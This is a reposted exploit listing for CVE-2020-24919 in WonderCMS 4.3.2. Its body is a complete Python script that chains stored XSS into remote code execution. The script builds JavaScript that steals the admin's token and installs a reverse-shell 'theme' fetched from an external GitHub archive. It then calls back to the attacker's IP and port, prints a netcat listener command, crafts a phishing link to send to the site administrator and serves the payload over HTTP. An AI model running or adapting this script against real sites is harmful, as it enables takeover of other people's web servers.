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WonderCMS 4.3.2 Cross Site Scripting / Remote Code Execution

CVE Category Price Severity
CVE-2020-24919 CWE-79 $3,000 High
Author Risk Exploitation Type Date
Mazin Ahmed High Remote 2024-02-20
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024020067

Below is a copy:

WonderCMS 4.3.2 Cross Site Scripting / Remote Code Execution
# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE


import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")

    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")
            

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